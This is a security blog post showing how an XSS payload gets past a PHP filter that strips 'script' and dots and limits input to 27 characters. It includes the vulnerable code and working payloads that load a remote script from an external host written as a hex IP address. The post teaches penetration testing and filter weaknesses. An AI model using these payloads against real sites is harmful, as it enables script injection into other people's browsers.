Address
304 North Cardinal St.
Dorchester Center, MA 02124
Work Hours
Monday to Friday: 7AM - 7PM
Weekend: 10AM - 5PM
Address
304 North Cardinal St.
Dorchester Center, MA 02124
Work Hours
Monday to Friday: 7AM - 7PM
Weekend: 10AM - 5PM
This week I’d like to show XSS without dots, as a method of filter avoidance.
First, for those of you confused by the title, here is some internet education
Not too long ago I had a friend attempting some XSS against an interesting filter.
I’m going to base my vulnerable application off of the one I used for my Short XSS attack.
If you’d like to follow along, I will have the final application towards the bottom of this post.
First, it filtered out the word script. That said, this was not done in a case-insensitive way, which provided an easy bypass. For example:
$data = str_replace('script', '' , $data);
In this case, a simple “ScRiPt” would bypass it just fine.
Next, there was a length limitation. While this was already covered in the Short XSS post, it is still something to account for while building the exploit. For example:
$data = substr($data, 0, 27);
Last, but certainly not least, was the filter for dots. In this case, the application didn’t allow periods, preventing our old payload of r4y.pw. For example:
$data = str_replace('.', '', $data);
In the end, the final vulnerable application looked something like this.
<?php function xss_clean($data) { $data = str_replace('script', '' , $data); $data = substr($data, 0, 27); $data = str_replace('.', '', $data); // $data = strtoupper($data); return $data; } ?> <html> <head> <title>Vulnerable to Dotless XSS</title> </head> <body> Here is my vulnerable form: <form> <input type="text" value="<?php echo xss_clean($_GET['value']); ?>" maxlength="27"> </form> <script> console.log("This is my logger function (I'll need this closing script tag later)!"); </script> </body> </html>
Based on our Short XSS attack, our initial payload will look something like this.
value="><script src=//r4y.pw>
First, we’ll need to convert the script tag to camel-case.
value="><ScRiPt src=//r4y.pw>
We are already below the length limit, so we don’t need to worry about that filter.
Unfortunately, we still need to bypass the dot filter.
The easiest method would be to use a host name on the internal network. If you can host a script and access it using just a host name, then you can bypass this filter.
value="><ScRiPt src=//kali>
The source of the application contains the src to our “kali” host with the working payload.
<input type="text" value=""><ScRiPt SRC=//kali>" maxlength="27">
Unfortunately, in this case, he was unable to obtain or control a host name on the internal network. In this case, I had to perform some more trickery.
For those of you not aware, you can represent IP addresses in multiple ways. These include dot-decimal (standard), decimal, octal, and hex. The last three do not require dots at all, which is what this attack will use!
To make converting easier, I am using an IP manipulator tool from a former co-worker.
root@kali:~/moarDots# ping r4y.pw PING r4y.pw (138.197.195.10) 56(84) bytes of data. 64 bytes from 138.197.195.10 (138.197.195.10): icmp_seq=1 ttl=50 time=90.6 ms ^C --- r4y.pw ping statistics --- 1 packets transmitted, 1 received, 0% packet loss, time 0ms rtt min/avg/max/mdev = 90.620/90.620/90.620/0.000 ms root@kali:~/moarDots# python ip.py 138.197.195.10 IP Address Manipulator ------------------------------------- 138.197.195.10 ----> 138.197.195.10 138.197.195.10 ----> 138.197.49930 138.197.195.10 ----> 138.12960522 138.197.195.10 ----> 2328216330 138.197.195.10 ----> 0x8a.0xc5.0xc3.0xa 138.197.195.10 ----> 0x8a.0xc5.0xc30a 138.197.195.10 ----> 0x8a.0xc5c30a 138.197.195.10 ----> 0x8ac5c30a 138.197.195.10 ----> 0212.0305.0303.012 138.197.195.10 ----> 0212.0305.0141412 138.197.195.10 ----> 0212.061341412 138.197.195.10 ----> 021261341412
Now, we have an IP address for r4y.pw without dots, so let’s give it a try.
"><ScRiPt SRC=//0x8ac5c30a>" maxlength="27">
It worked, and the browser executed the payload!
<input type="text" value=""><ScRiPt SRC=//0x8ac5c30a>" maxlength="27">
While this was a bit of a contrived scenario, it was still something found in the real world.
XSS filters are not always perfect, and some interesting techniques can occasionally bypass them.
In this case, we ended up with an XSS payload of only 27 characters that bypassed a “script” filter as well as a dot filter. Additionally, it was hosted externally and could have a fully weaponized payload.
Ray Doyle is an avid pentester/security enthusiast/beer connoisseur who has worked in IT for almost 16 years now. From building machines and the software on them, to breaking into them and tearing it all down; he’s done it all. To show for it, he has obtained an OSCE, OSCP, eCPPT, GXPN, eWPT, eWPTX, SLAE, eMAPT, Security+, ICAgile CP, ITIL v3 Foundation, and even a sabermetrics certification!
He currently serves as a Senior Staff Adversarial Engineer for Avalara, and his previous position was a Principal Penetration Testing Consultant for Secureworks.
This page contains links to products that I may receive compensation from at no additional cost to you. View my Affiliate Disclosure page here. As an Amazon Associate, I earn from qualifying purchases.
Awesome! Thanks for the post!
[…] Found Here Article: XSS Without Dots […]